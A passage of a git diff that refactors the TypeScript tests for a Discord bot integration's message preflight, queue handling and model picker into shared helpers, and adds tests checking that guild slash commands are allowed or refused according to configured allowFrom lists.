- textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: { - getByThreadId: (id: string) => (id === threadId ? threadBinding : undefined), - } as import("./thread-bindings.js").ThreadBindingManager, - data: { - channel_id: threadId, - guild_id: "guild-1", - guild: { - id: "guild-1", - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, + } as DiscordConfig, + registerBindingAdapter: true, }); expect(result).not.toBeNull(); @@ -268,42 +341,17 @@ describe("preflightDiscordMessage", () => { const threadBinding = createThreadBinding(); const threadId = "thread-bot-focus"; const parentId = "channel-parent-focus"; - const client = { - fetchChannel: async (channelId: string) => { - if (channelId === threadId) { - return { - id: threadId, - type: ChannelType.PublicThread, - name: "focus", - parentId, - ownerId: "owner-1", - }; - } - if (channelId === parentId) { - return { - id: parentId, - type: ChannelType.GuildText, - name: "general", - }; - } - return null; - }, - } as unknown as import("@buape/carbon").Client; - const message = { + const client = createThreadClient({ threadId, parentId }); + const message = createMessage({ id: "m-bot-1", - content: "relay message without mention", - timestamp: new Date().toISOString(), channelId: threadId, - attachments: [], - mentionedUsers: [], - mentionedRoles: [], - mentionedEveryone: false, + content: "relay message without mention", author: { id: "relay-bot-1", bot: true, username: "Relay", }, - } as unknown as import("@buape/carbon").Message; + }); registerSessionBindingAdapter({ channel: "discord", @@ -312,42 +360,23 @@ describe("preflightDiscordMessage", () => { resolveByConversation: (ref) => (ref.conversationId === threadId ? threadBinding : null), }); - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - } as import("../../config/config.js").OpenClawConfig, - discordConfig: { - allowBots: true, - } as NonNullable["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: createNoopThreadBindingManager("default"), - data: { - channel_id: threadId, - guild_id: "guild-1", - guild: { - id: "guild-1", - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, - }); + const result = await preflightDiscordMessage( + createPreflightArgs({ + cfg: { + ...DEFAULT_CFG, + } as import("../../config/config.js").OpenClawConfig, + discordConfig: { + allowBots: true, + } as DiscordConfig, + data: createGuildEvent({ + channelId: threadId, + guildId: "guild-1", + author: message.author, + message, + }), + client, + }), + ); expect(result).not.toBeNull(); expect(result?.boundSessionKey).toBe(threadBinding.targetSessionKey); @@ -357,69 +386,24 @@ describe("preflightDiscordMessage", () => { it("drops bot messages without mention when allowBots=mentions", async () => { const channelId = "channel-bot-mentions-off"; const guildId = "guild-bot-mentions-off"; - const client = { - fetchChannel: async (id: string) => { - if (id === channelId) { - return { - id: channelId, - type: ChannelType.GuildText, - name: "general", - }; - } - return null; - }, - } as unknown as import("@buape/carbon").Client; - const message = { + const message = createMessage({ id: "m-bot-mentions-off", - content: "relay chatter", - timestamp: new Date().toISOString(), channelId, - attachments: [], - mentionedUsers: [], - mentionedRoles: [], - mentionedEveryone: false, + content: "relay chatter", author: { id: "relay-bot-1", bot: true, username: "Relay", }, - } as unknown as import("@buape/carbon").Message; + }); - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - } as import("../../config/config.js").OpenClawConfig, + const result = await runGuildPreflight({ + channelId, + guildId, + message, discordConfig: { allowBots: "mentions", - } as NonNullable["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: createNoopThreadBindingManager("default"), - data: { - channel_id: channelId, - guild_id: guildId, - guild: { - id: guildId, - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, + } as DiscordConfig, }); expect(result).toBeNull(); @@ -428,69 +412,25 @@ describe("preflightDiscordMessage", () => { it("allows bot messages with explicit mention when allowBots=mentions", async () => { const channelId = "channel-bot-mentions-on"; const guildId = "guild-bot-mentions-on"; - const client = { - fetchChannel: async (id: string) => { - if (id === channelId) { - return { - id: channelId, - type: ChannelType.GuildText, - name: "general", - }; - } - return null; - }, - } as unknown as import("@buape/carbon").Client; - const message = { + const message = createMessage({ id: "m-bot-mentions-on", - content: "hi <@openclaw-bot>", - timestamp: new Date().toISOString(), channelId, - attachments: [], + content: "hi <@openclaw-bot>", mentionedUsers: [{ id: "openclaw-bot" }], - mentionedRoles: [], - mentionedEveryone: false, author: { id: "relay-bot-1", bot: true, username: "Relay", }, - } as unknown as import("@buape/carbon").Message; + }); - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - } as import("../../config/config.js").OpenClawConfig, + const result = await runGuildPreflight({ + channelId, + guildId, + message, discordConfig: { allowBots: "mentions", - } as NonNullable["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: createNoopThreadBindingManager("default"), - data: { - channel_id: channelId, - guild_id: guildId, - guild: { - id: guildId, - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, + } as DiscordConfig, }); expect(result).not.toBeNull(); @@ -499,75 +439,29 @@ describe("preflightDiscordMessage", () => { it("drops guild messages that mention another user when ignoreOtherMentions=true", async () => { const channelId = "channel-other-mention-1"; const guildId = "guild-other-mention-1"; - const client = { - fetchChannel: async (id: string) => { - if (id === channelId) { - return { - id: channelId, - type: ChannelType.GuildText, - name: "general", - }; - } - return null; - }, - } as unknown as import("@buape/carbon").Client; - const message = { + const message = createMessage({ id: "m-other-mention-1", - content: "hello <@999>", - timestamp: new Date().toISOString(), channelId, - attachments: [], + content: "hello <@999>", mentionedUsers: [{ id: "999" }], - mentionedRoles: [], - mentionedEveryone: false, author: { id: "user-1", bot: false, username: "Alice", }, - } as unknown as import("@buape/carbon").Message; + }); - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - } as import("../../config/config.js").OpenClawConfig, - discordConfig: {} as NonNullable< - import("../../config/config.js").OpenClawConfig["channels"] - >["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: createNoopThreadBindingManager("default"), + const result = await runGuildPreflight({ + channelId, + guildId, + message, + discordConfig: {} as DiscordConfig, guildEntries: { [guildId]: { requireMention: false, ignoreOtherMentions: true, }, }, - data: { - channel_id: channelId, - guild_id: guildId, - guild: { - id: guildId, - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, }); expect(result).toBeNull(); @@ -576,75 +470,29 @@ describe("preflightDiscordMessage", () => { it("does not drop @everyone messages when ignoreOtherMentions=true", async () => { const channelId = "channel-other-mention-everyone"; const guildId = "guild-other-mention-everyone"; - const client = { - fetchChannel: async (id: string) => { - if (id === channelId) { - return { - id: channelId, - type: ChannelType.GuildText, - name: "general", - }; - } - return null; - }, - } as unknown as import("@buape/carbon").Client; - const message = { + const message = createMessage({ id: "m-other-mention-everyone", - content: "@everyone heads up", - timestamp: new Date().toISOString(), channelId, - attachments: [], - mentionedUsers: [], - mentionedRoles: [], + content: "@everyone heads up", mentionedEveryone: true, author: { id: "user-1", bot: false, username: "Alice", }, - } as unknown as import("@buape/carbon").Message; + }); - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - } as import("../../config/config.js").OpenClawConfig, - discordConfig: {} as NonNullable< - import("../../config/config.js").OpenClawConfig["channels"] - >["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: createNoopThreadBindingManager("default"), + const result = await runGuildPreflight({ + channelId, + guildId, + message, + discordConfig: {} as DiscordConfig, guildEntries: { [guildId]: { requireMention: false, ignoreOtherMentions: true, }, }, - data: { - channel_id: channelId, - guild_id: guildId, - guild: { - id: guildId, - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, }); expect(result).not.toBeNull(); @@ -654,74 +502,38 @@ describe("preflightDiscordMessage", () => { it("ignores bot-sent @everyone mentions for detection", async () => { const channelId = "channel-everyone-1"; const guildId = "guild-everyone-1"; - const client = { - fetchChannel: async (id: string) => { - if (id === channelId) { - return { - id: channelId, - type: ChannelType.GuildText, - name: "general", - }; - } - return null; - }, - } as unknown as import("@buape/carbon").Client; - const message = { + const client = createGuildTextClient(channelId); + const message = createMessage({ id: "m-everyone-1", - content: "@everyone heads up", - timestamp: new Date().toISOString(), channelId, - attachments: [], - mentionedUsers: [], - mentionedRoles: [], + content: "@everyone heads up", mentionedEveryone: true, author: { id: "relay-bot-1", bot: true, username: "Relay", }, - } as unknown as import("@buape/carbon").Message; + }); const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - } as import("../../config/config.js").OpenClawConfig, - discordConfig: { - allowBots: true, - } as NonNullable["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: createNoopThreadBindingManager("default"), + ...createPreflightArgs({ + cfg: DEFAULT_CFG, + discordConfig: { + allowBots: true, + } as DiscordConfig, + data: createGuildEvent({ + channelId, + guildId, + author: message.author, + message, + }), + client, + }), guildEntries: { [guildId]: { requireMention: false, }, }, - data: { - channel_id: channelId, - guild_id: guildId, - guild: { - id: guildId, - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, }); expect(result).not.toBeNull(); @@ -732,24 +544,12 @@ describe("preflightDiscordMessage", () => { transcribeFirstAudioMock.mockResolvedValue("hey openclaw"); const channelId = "channel-audio-1"; - const client = { - fetchChannel: async (id: string) => { - if (id === channelId) { - return { - id: channelId, - type: ChannelType.GuildText, - name: "general", - }; - } - return null; - }, - } as unknown as import("@buape/carbon").Client; + const client = createGuildTextClient(channelId); - const message = { + const message = createMessage({ id: "m-audio-1", - content: "", - timestamp: new Date().toISOString(), channelId, + content: "", attachments: [ { id: "att-1", @@ -758,58 +558,34 @@ describe("preflightDiscordMessage", () => { filename: "voice.ogg", }, ], - mentionedUsers: [], - mentionedRoles: [], - mentionedEveryone: false, author: { id: "user-1", bot: false, username: "Alice", }, - } as unknown as import("@buape/carbon").Message; - - const result = await preflightDiscordMessage({ - cfg: { - session: { - mainKey: "main", - scope: "per-sender", - }, - messages: { - groupChat: { - mentionPatterns: ["openclaw"], - }, - }, - } as import("../../config/config.js").OpenClawConfig, - discordConfig: {} as NonNullable< - import("../../config/config.js").OpenClawConfig["channels"] - >["discord"], - accountId: "default", - token: "token", - runtime: {} as import("../../runtime.js").RuntimeEnv, - botUserId: "openclaw-bot", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 1_000_000, - textLimit: 2_000, - replyToMode: "all", - dmEnabled: true, - groupDmEnabled: true, - ackReactionScope: "direct", - groupPolicy: "open", - threadBindings: createNoopThreadBindingManager("default"), - data: { - channel_id: channelId, - guild_id: "guild-1", - guild: { - id: "guild-1", - name: "Guild One", - }, - author: message.author, - message, - } as unknown as import("./listeners.js").DiscordMessageEvent, - client, }); + const result = await preflightDiscordMessage( + createPreflightArgs({ + cfg: { + ...DEFAULT_CFG, + messages: { + groupChat: { + mentionPatterns: ["openclaw"], + }, + }, + } as import("../../config/config.js").OpenClawConfig, + discordConfig: {} as DiscordConfig, + data: createGuildEvent({ + channelId, + guildId: "guild-1", + author: message.author, + message, + }), + client, + }), + ); + expect(transcribeFirstAudioMock).toHaveBeenCalledTimes(1); expect(transcribeFirstAudioMock).toHaveBeenCalledWith( expect.objectContaining({ diff --git a/src/discord/monitor/message-handler.queue.test.ts b/src/discord/monitor/message-handler.queue.test.ts index 45fbfeee278..122ce852333 100644 --- a/src/discord/monitor/message-handler.queue.test.ts +++ b/src/discord/monitor/message-handler.queue.test.ts @@ -1,10 +1,13 @@ import { describe, expect, it, vi } from "vitest"; -import type { OpenClawConfig } from "../../config/types.js"; -import { createNoopThreadBindingManager } from "./thread-bindings.js"; +import { + createDiscordHandlerParams, + createDiscordPreflightContext, +} from "./message-handler.test-helpers.js"; const preflightDiscordMessageMock = vi.hoisted(() => vi.fn()); const processDiscordMessageMock = vi.hoisted(() => vi.fn()); const eventualReplyDeliveredMock = vi.hoisted(() => vi.fn()); +type SetStatusFn = (patch: Record) => void; vi.mock("./message-handler.preflight.js", () => ({ preflightDiscordMessage: preflightDiscordMessageMock, @@ -24,52 +27,6 @@ function createDeferred() { return { promise, resolve }; } -function createHandlerParams(overrides?: { - setStatus?: (patch: Record) => void; - abortSignal?: AbortSignal; - workerRunTimeoutMs?: number; -}) { - const cfg: OpenClawConfig = { - channels: { - discord: { - enabled: true, - token: "test-token", - groupPolicy: "allowlist", - }, - }, - messages: { - inbound: { - debounceMs: 0, - }, - }, - }; - return { - cfg, - discordConfig: cfg.channels?.discord, - accountId: "default", - token: "test-token", - runtime: { - log: vi.fn(), - error: vi.fn(), - exit: (code: number): never => { - throw new Error(`exit ${code}`); - }, - }, - botUserId: "bot-123", - guildHistories: new Map(), - historyLimit: 0, - mediaMaxBytes: 10_000, - textLimit: 2_000, - replyToMode: "off" as const, - dmEnabled: true, - groupDmEnabled: false, - threadBindings: createNoopThreadBindingManager("default"), - setStatus: overrides?.setStatus, - abortSignal: overrides?.abortSignal, - workerRunTimeoutMs: overrides?.workerRunTimeoutMs, - }; -} - function createMessageData(messageId: string, channelId = "ch-1") { return { channel_id: channelId, @@ -85,25 +42,43 @@ function createMessageData(messageId: string, channelId = "ch-1") { } function createPreflightContext(channelId = "ch-1") { + return createDiscordPreflightContext(channelId); +} + +async function createLifecycleStopScenario(params: { + createHandler: (status: SetStatusFn) => { + handler: (data: never, opts: never) => Promise; + stop: () => void; + }; +}) { + const runInFlight = createDeferred(); + processDiscordMessageMock.mockImplementation(async () => { + await runInFlight.promise; + }); + preflightDiscordMessageMock.mockImplementation( + async (contextParams: { data: { channel_id: string } }) => + createPreflightContext(contextParams.data.channel_id), + ); + + const setStatus = vi.fn(); + const { handler, stop } = params.createHandler(setStatus); + + await expect(handler(createMessageData("m-1") as never, {} as never)).resolves.toBeUndefined(); + await vi.waitFor(() => { + expect(processDiscordMessageMock).toHaveBeenCalledTimes(1); + }); + + const callsBeforeStop = setStatus.mock.calls.length; + stop(); + return { - data: { - channel_id: channelId, - message: { - id: `msg-${channelId}`, - channel_id: channelId, - attachments: [], - }, + setStatus, + callsBeforeStop, + finish: async () => { + runInFlight.resolve(); + await runInFlight.promise; + await Promise.resolve(); }, - message: { - id: `msg-${channelId}`, - channel_id: channelId, - attachments: [], - }, - route: { - sessionKey: `agent:main:discord:channel:${channelId}`, - }, - baseSessionKey: `agent:main:discord:channel:${channelId}`, - messageChannelId: channelId, }; } @@ -113,7 +88,7 @@ describe("createDiscordMessageHandler queue behavior", () => { processDiscordMessageMock.mockReset(); const setStatus = vi.fn(); - createDiscordMessageHandler(createHandlerParams({ setStatus })); + createDiscordMessageHandler(createDiscordHandlerParams({ setStatus })); expect(setStatus).toHaveBeenCalledWith( expect.objectContaining({ @@ -142,7 +117,7 @@ describe("createDiscordMessageHandler queue behavior", () => { ); const setStatus = vi.fn(); - const handler = createDiscordMessageHandler(createHandlerParams({ setStatus })); + const handler = createDiscordMessageHandler(createDiscordHandlerParams({ setStatus })); await expect(handler(createMessageData("m-1") as never, {} as never)).resolves.toBeUndefined(); @@ -205,7 +180,7 @@ describe("createDiscordMessageHandler queue behavior", () => { createPreflightContext(params.data.channel_id), ); - const params = createHandlerParams({ workerRunTimeoutMs: 50 }); + const params = createDiscordHandlerParams({ workerRunTimeoutMs: 50 }); const handler = createDiscordMessageHandler(params); await expect( @@ -256,7 +231,7 @@ describe("createDiscordMessageHandler queue behavior", () => { createPreflightContext(params.data.channel_id), ); - const params = createHandlerParams({ workerRunTimeoutMs: 0 }); + const params = createDiscordHandlerParams({ workerRunTimeoutMs: 0 }); const handler = createDiscordMessageHandler(params); await expect( @@ -305,7 +280,7 @@ describe("createDiscordMessageHandler queue behavior", () => { try { const setStatus = vi.fn(); - const handler = createDiscordMessageHandler(createHandlerParams({ setStatus })); + const handler = createDiscordMessageHandler(createDiscordHandlerParams({ setStatus })); await expect( handler(createMessageData("m-1") as never, {} as never), ).resolves.toBeUndefined(); @@ -342,67 +317,35 @@ describe("createDiscordMessageHandler queue behavior", () => { preflightDiscordMessageMock.mockReset(); processDiscordMessageMock.mockReset(); - const runInFlight = createDeferred(); - processDiscordMessageMock.mockImplementation(async () => { - await runInFlight.promise; - }); - preflightDiscordMessageMock.mockImplementation( - async (params: { data: { channel_id: string } }) => - createPreflightContext(params.data.channel_id), - ); - - const setStatus = vi.fn(); - const abortController = new AbortController(); - const handler = createDiscordMessageHandler( - createHandlerParams({ setStatus, abortSignal: abortController.signal }), - ); - - await expect(handler(createMessageData("m-1") as never, {} as never)).resolves.toBeUndefined(); - - await vi.waitFor(() => { - expect(processDiscordMessageMock).toHaveBeenCalledTimes(1); + const { setStatus, callsBeforeStop, finish } = await createLifecycleStopScenario({ + createHandler: (status) => { + const abortController = new AbortController(); + const handler = createDiscordMessageHandler( + createDiscordHandlerParams({ setStatus: status, abortSignal: abortController.signal }), + ); + return { handler, stop: () => abortController.abort() }; + }, }); - const callsBeforeAbort = setStatus.mock.calls.length; - abortController.abort(); - - runInFlight.resolve(); - await runInFlight.promise; - await Promise.resolve(); - - expect(setStatus.mock.calls.length).toBe(callsBeforeAbort); + await finish(); + expect(setStatus.mock.calls.length).toBe(callsBeforeStop); }); it("stops status publishing after handler deactivation", async () => { preflightDiscordMessageMock.mockReset(); processDiscordMessageMock.mockReset(); - const runInFlight = createDeferred(); - processDiscordMessageMock.mockImplementation(async () => { - await runInFlight.promise; - }); - preflightDiscordMessageMock.mockImplementation( - async (params: { data: { channel_id: string } }) => - createPreflightContext(params.data.channel_id), - ); - - const setStatus = vi.fn(); - const handler = createDiscordMessageHandler(createHandlerParams({ setStatus })); - - await expect(handler(createMessageData("m-1") as never, {} as never)).resolves.toBeUndefined(); - - await vi.waitFor(() => { - expect(processDiscordMessageMock).toHaveBeenCalledTimes(1); + const { setStatus, callsBeforeStop, finish } = await createLifecycleStopScenario({ + createHandler: (status) => { + const handler = createDiscordMessageHandler( + createDiscordHandlerParams({ setStatus: status }), + ); + return { handler, stop: () => handler.deactivate() }; + }, }); - const callsBeforeDeactivate = setStatus.mock.calls.length; - handler.deactivate(); - - runInFlight.resolve(); - await runInFlight.promise; - await Promise.resolve(); - - expect(setStatus.mock.calls.length).toBe(callsBeforeDeactivate); + await finish(); + expect(setStatus.mock.calls.length).toBe(callsBeforeStop); }); it("skips queued runs that have not started yet after deactivation", async () => { @@ -420,7 +363,7 @@ describe("createDiscordMessageHandler queue behavior", () => { createPreflightContext(params.data.channel_id), ); - const handler = createDiscordMessageHandler(createHandlerParams()); + const handler = createDiscordMessageHandler(createDiscordHandlerParams()); await expect(handler(createMessageData("m-1") as never, {} as never)).resolves.toBeUndefined(); await vi.waitFor(() => { expect(processDiscordMessageMock).toHaveBeenCalledTimes(1); @@ -460,7 +403,7 @@ describe("createDiscordMessageHandler queue behavior", () => { processedMessageIds.push(ctx.messageId ?? "unknown"); }); - const handler = createDiscordMessageHandler(createHandlerParams()); + const handler = createDiscordMessageHandler(createDiscordHandlerParams()); const sequentialDispatch = (async () => { await handler(createMessageData("m-1") as never, {} as never); @@ -499,7 +442,7 @@ describe("createDiscordMessageHandler queue behavior", () => { ); const setStatus = vi.fn(); - const handler = createDiscordMessageHandler(createHandlerParams({ setStatus })); + const handler = createDiscordMessageHandler(createDiscordHandlerParams({ setStatus })); await expect(handler(createMessageData("m-1") as never, {} as never)).resolves.toBeUndefined(); await expect(handler(createMessageData("m-2") as never, {} as never)).resolves.toBeUndefined(); diff --git a/src/discord/monitor/message-handler.test-helpers.ts b/src/discord/monitor/message-handler.test-helpers.ts new file mode 100644 index 00000000000..6084fc1a00e --- /dev/null +++ b/src/discord/monitor/message-handler.test-helpers.ts @@ -0,0 +1,76 @@ +import { vi } from "vitest"; +import type { OpenClawConfig } from "../../config/types.js"; +import type { createDiscordMessageHandler } from "./message-handler.js"; +import { createNoopThreadBindingManager } from "./thread-bindings.js"; + +export const DEFAULT_DISCORD_BOT_USER_ID = "bot-123"; + +export function createDiscordHandlerParams(overrides?: { + botUserId?: string; + setStatus?: (patch: Record) => void; + abortSignal?: AbortSignal; + workerRunTimeoutMs?: number; +}): Parameters[0] { + const cfg: OpenClawConfig = { + channels: { + discord: { + enabled: true, + token: "test-token", + groupPolicy: "allowlist", + }, + }, + messages: { + inbound: { + debounceMs: 0, + }, + }, + }; + return { + cfg, + discordConfig: cfg.channels?.discord, + accountId: "default", + token: "test-token", + runtime: { + log: vi.fn(), + error: vi.fn(), + exit: (code: number): never => { + throw new Error(`exit ${code}`); + }, + }, + botUserId: overrides?.botUserId ?? DEFAULT_DISCORD_BOT_USER_ID, + guildHistories: new Map(), + historyLimit: 0, + mediaMaxBytes: 10_000, + textLimit: 2_000, + replyToMode: "off" as const, + dmEnabled: true, + groupDmEnabled: false, + threadBindings: createNoopThreadBindingManager("default"), + setStatus: overrides?.setStatus, + abortSignal: overrides?.abortSignal, + workerRunTimeoutMs: overrides?.workerRunTimeoutMs, + }; +} + +export function createDiscordPreflightContext(channelId = "ch-1") { + return { + data: { + channel_id: channelId, + message: { + id: `msg-${channelId}`, + channel_id: channelId, + attachments: [], + }, + }, + message: { + id: `msg-${channelId}`, + channel_id: channelId, + attachments: [], + }, + route: { + sessionKey: `agent:main:discord:channel:${channelId}`, + }, + baseSessionKey: `agent:main:discord:channel:${channelId}`, + messageChannelId: channelId, + }; +} diff --git a/src/discord/monitor/model-picker.test.ts b/src/discord/monitor/model-picker.test.ts index 29365fb784b..04d5006feb6 100644 --- a/src/discord/monitor/model-picker.test.ts +++ b/src/discord/monitor/model-picker.test.ts @@ -61,15 +61,17 @@ function renderRecentsViewRows( } describe("loadDiscordModelPickerData", () => { - it("reuses buildModelsProviderData as source of truth", async () => { + it("reuses buildModelsProviderData as source of truth with agent scope", async () => { const expected = createModelsProviderData({ openai: ["gpt-4o"] }); + const cfg = {} as OpenClawConfig; const spy = vi .spyOn(modelsCommandModule, "buildModelsProviderData") .mockResolvedValue(expected); - const result = await loadDiscordModelPickerData({} as OpenClawConfig); + const result = await loadDiscordModelPickerData(cfg, "support"); expect(spy).toHaveBeenCalledTimes(1); + expect(spy).toHaveBeenCalledWith(cfg, "support"); expect(result).toBe(expected); }); }); diff --git a/src/discord/monitor/model-picker.ts b/src/discord/monitor/model-picker.ts index 5c686face27..9fa8063cb9a 100644 --- a/src/discord/monitor/model-picker.ts +++ b/src/discord/monitor/model-picker.ts @@ -541,8 +541,11 @@ function buildModelRows(params: { * Source-of-truth data for Discord picker views. This intentionally reuses the * same provider/model resolver used by text and Telegram model commands. */ -export async function loadDiscordModelPickerData(cfg: OpenClawConfig): Promise { - return buildModelsProviderData(cfg); +export async function loadDiscordModelPickerData( + cfg: OpenClawConfig, + agentId?: string, +): Promise { + return buildModelsProviderData(cfg, agentId); } export function buildDiscordModelPickerCustomId(params: { diff --git a/src/discord/monitor/native-command.commands-allowfrom.test.ts b/src/discord/monitor/native-command.commands-allowfrom.test.ts new file mode 100644 index 00000000000..218df22f071 --- /dev/null +++ b/src/discord/monitor/native-command.commands-allowfrom.test.ts @@ -0,0 +1,167 @@ +import { ChannelType } from "discord-api-types/v10"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import type { NativeCommandSpec } from "../../auto-reply/commands-registry.js"; +import * as dispatcherModule from "../../auto-reply/reply/provider-dispatcher.js"; +import type { OpenClawConfig } from "../../config/config.js"; +import * as pluginCommandsModule from "../../plugins/commands.js"; +import { createDiscordNativeCommand } from "./native-command.js"; +import { + createMockCommandInteraction, + type MockCommandInteraction, +} from "./native-command.test-helpers.js"; +import { createNoopThreadBindingManager } from "./thread-bindings.js"; + +function createInteraction(params?: { userId?: string }): MockCommandInteraction { + return createMockCommandInteraction({ + userId: params?.userId ?? "123456789012345678", + username: "discord-user", + globalName: "Discord User", + channelType: ChannelType.GuildText, + channelId: "234567890123456789", + guildId: "345678901234567890", + guildName: "Test Guild", + interactionId: "interaction-1", + }); +} + +function createConfig(): OpenClawConfig { + return { + commands: { + allowFrom: { + discord: ["user:123456789012345678"], + }, + }, + channels: { + discord: { + groupPolicy: "allowlist", + guilds: { + "345678901234567890": { + channels: { + "234567890123456789": { + allow: true, + requireMention: false, + }, + }, + }, + }, + }, + }, + } as OpenClawConfig; +} + +function createCommand(cfg: OpenClawConfig) { + const commandSpec: NativeCommandSpec = { + name: "status", + description: "Status", + acceptsArgs: false, + }; + return createDiscordNativeCommand({ + command: commandSpec, + cfg, + discordConfig: cfg.channels?.discord ?? {}, + accountId: "default", + sessionPrefix: "discord:slash", + ephemeralDefault: true, + threadBindings: createNoopThreadBindingManager("default"), + }); +} + +function createDispatchSpy() { + return vi.spyOn(dispatcherModule, "dispatchReplyWithDispatcher").mockResolvedValue({ + counts: { + final: 1, + block: 0, + tool: 0, + }, + } as never); +} + +async function runGuildSlashCommand(params?: { + userId?: string; + mutateConfig?: (cfg: OpenClawConfig) => void; +}) { + const cfg = createConfig(); + params?.mutateConfig?.(cfg); + const command = createCommand(cfg); + const interaction = createInteraction({ userId: params?.userId }); + vi.spyOn(pluginCommandsModule, "matchPluginCommand").mockReturnValue(null); + const dispatchSpy = createDispatchSpy(); + await (command as { run: (interaction: unknown) => Promise }).run(interaction as unknown); + return { dispatchSpy, interaction }; +} + +function expectNotUnauthorizedReply(interaction: MockCommandInteraction) { + expect(interaction.reply).not.toHaveBeenCalledWith( + expect.objectContaining({ content: "You are not authorized to use this command." }), + ); +} + +function expectUnauthorizedReply(interaction: MockCommandInteraction) { + expect(interaction.reply).toHaveBeenCalledWith( + expect.objectContaining({ + content: "You are not authorized to use this command.", + ephemeral: true, + }), + ); +} + +describe("Discord native slash commands with commands.allowFrom", () => { + beforeEach(() => { + vi.restoreAllMocks(); + }); + + it("authorizes guild slash commands when commands.allowFrom.discord matches the sender", async () => { + const { dispatchSpy, interaction } = await runGuildSlashCommand(); + expect(dispatchSpy).toHaveBeenCalledTimes(1); + expectNotUnauthorizedReply(interaction); + }); + + it("authorizes guild slash commands from the global commands.allowFrom list when provider-specific allowFrom is missing", async () => { + const { dispatchSpy, interaction } = await runGuildSlashCommand({ + mutateConfig: (cfg) => { + cfg.commands = { + allowFrom: { + "*": ["user:123456789012345678"], + }, + }; + }, + }); + expect(dispatchSpy).toHaveBeenCalledTimes(1); + expectNotUnauthorizedReply(interaction); + }); + + it("authorizes guild slash commands when commands.useAccessGroups is false and commands.allowFrom.discord matches the sender", async () => { + const { dispatchSpy, interaction } = await runGuildSlashCommand({ + mutateConfig: (cfg) => { + cfg.commands = { + ...cfg.commands, + useAccessGroups: false, + }; + }, + }); + expect(dispatchSpy).toHaveBeenCalledTimes(1); + expectNotUnauthorizedReply(interaction); + }); + + it("rejects guild slash commands when commands.allowFrom.discord does not match the sender", async () => { + const { dispatchSpy, interaction } = await runGuildSlashCommand({ + userId: "999999999999999999", + }); + expect(dispatchSpy).not.toHaveBeenCalled(); + expectUnauthorizedReply(interaction); + }); + + it("rejects guild slash commands when commands.useAccessGroups is false and commands.allowFrom.discord does not match the sender", async () => { + const { dispatchSpy, interaction } = await runGuildSlashCommand({ + userId: "999999999999999999", + mutateConfig: (cfg) => { + cfg.commands = { + ...cfg.commands, + useAccessGroups: false, + }; + }, + }); + expect(dispatchSpy).not.toHaveBeenCalled(); + expectUnauthorizedReply(interaction); + }); +}); diff --git a/src/discord/monitor/native-command.plugin-dispatch.test.ts b/src/discord/monitor/native-command.plugin-dispatch.test.ts index 1e98f349e63..c7e81afe298 100644 --- a/src/discord/monitor/native-command.plugin-dispatch.test.ts +++ b/src/discord/monitor/native-command.plugin-dispatch.test.ts @@ -5,6 +5,10 @@ import * as dispatcherModule from "../../auto-reply/reply/provider-dispatcher.js import type { OpenClawConfig } from "../../config/config.js"; import * as pluginCommandsModule from "../../plugins/commands.js"; import { createDiscordNativeCommand } from "./native-command.js"; +import { + createMockCommandInteraction, + type MockCommandInteraction, +} from "./native-command.test-helpers.js"; import { createNoopThreadBindingManager } from "./thread-bindings.js"; type 